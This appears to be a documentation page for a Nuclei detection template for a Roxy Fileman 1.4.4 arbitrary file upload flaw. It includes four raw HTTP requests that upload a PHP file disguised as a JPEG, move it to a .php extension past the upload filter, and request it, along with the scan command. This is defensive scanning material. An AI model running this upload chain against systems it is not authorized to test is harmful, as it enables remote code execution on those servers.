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Roxy Fileman 1.4.4 - Arbitrary File Upload

ID: roxyfileman-fileupload

Severity: high

Author: DhiyaneshDK

Tags: misconfig,edb,roxy,fileman,rce,fileupload,intrusive

Description

Section titled “Description”

Roxy Fileman 1.4.4 is susceptible to remote code execution via the FORBIDDEN_UPLOADS setting, which is checked when renaming an existing file to a new file extension. An attacker can bypass this check and rename already uploaded files to any extension using the move function, which does not perform any checks.

YAML Source

Section titled “YAML Source”
id: roxyfileman-fileupload


info:
  name: Roxy Fileman 1.4.4 - Arbitrary File Upload
  author: DhiyaneshDK
  severity: high
  description: |
    Roxy Fileman 1.4.4 is susceptible to remote code execution via the FORBIDDEN_UPLOADS setting, which is checked when renaming an existing file to a new file extension. An attacker can bypass this check and rename already uploaded files to any extension using the move function, which does not perform any checks.
  reference:
    - https://www.exploit-db.com/exploits/39963
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 4
    google-query: intitle:"Roxy file manager"
  tags: misconfig,edb,roxy,fileman,rce,fileupload,intrusive


http:
  - raw:
      - |
        POST /php/upload.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6rbEqFAMRkE0RAB7


        ------WebKitFormBoundary6rbEqFAMRkE0RAB7
        Content-Disposition: form-data; name="action"


        upload
        ------WebKitFormBoundary6rbEqFAMRkE0RAB7
        Content-Disposition: form-data; name="method"


        ajax
        ------WebKitFormBoundary6rbEqFAMRkE0RAB7
        Content-Disposition: form-data; name="d"


        /app/Uploads
        ------WebKitFormBoundary6rbEqFAMRkE0RAB7
        Content-Disposition: form-data; name="files[]"; filename="{{randstr}}.jpg"
        Content-Type: image/jpeg


        <?php
        echo md5('roxyfileman-fileupload');unlink(__FILE__);
        ?>


        ------WebKitFormBoundary6rbEqFAMRkE0RAB7--
      - |
        POST /php/renamefile.php?f=%2Fapp%2FUploads%2F{{randstr}}.jpg&n={{randstr}}.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest


        f=%2Fapp%2FUploads%2F{{randstr}}.jpg&n={{randstr}}.php
      - |
        POST /php/movefile.php?f=%2Fapp%2FUploads%2F{{randstr}}.jpg&n=%2Fapp%2FUploads%2F{{randstr}}.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest


        f=%2Fapp%2FUploads%2F{{randstr}}.jpg&n=%2Fapp%2FUploads%2F{{randstr}}.php
      - |
        GET /Uploads/{{randstr}}.php HTTP/1.1
        Host: {{Hostname}}


    host-redirects: true
    max-redirects: 2


    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "99acb46eabd01958e22fae1792e83ca9"


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100f1dd983b073c38040f2465fa20d718e83c48206c4a0b7b48c528e1984452b11302200e2ae12221af6615173dd3e50b232cc4a3b94db3b6d01cbba89c949fc12ba2f5:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/misconfiguration/roxyfileman-fileupload.yaml"

View on Github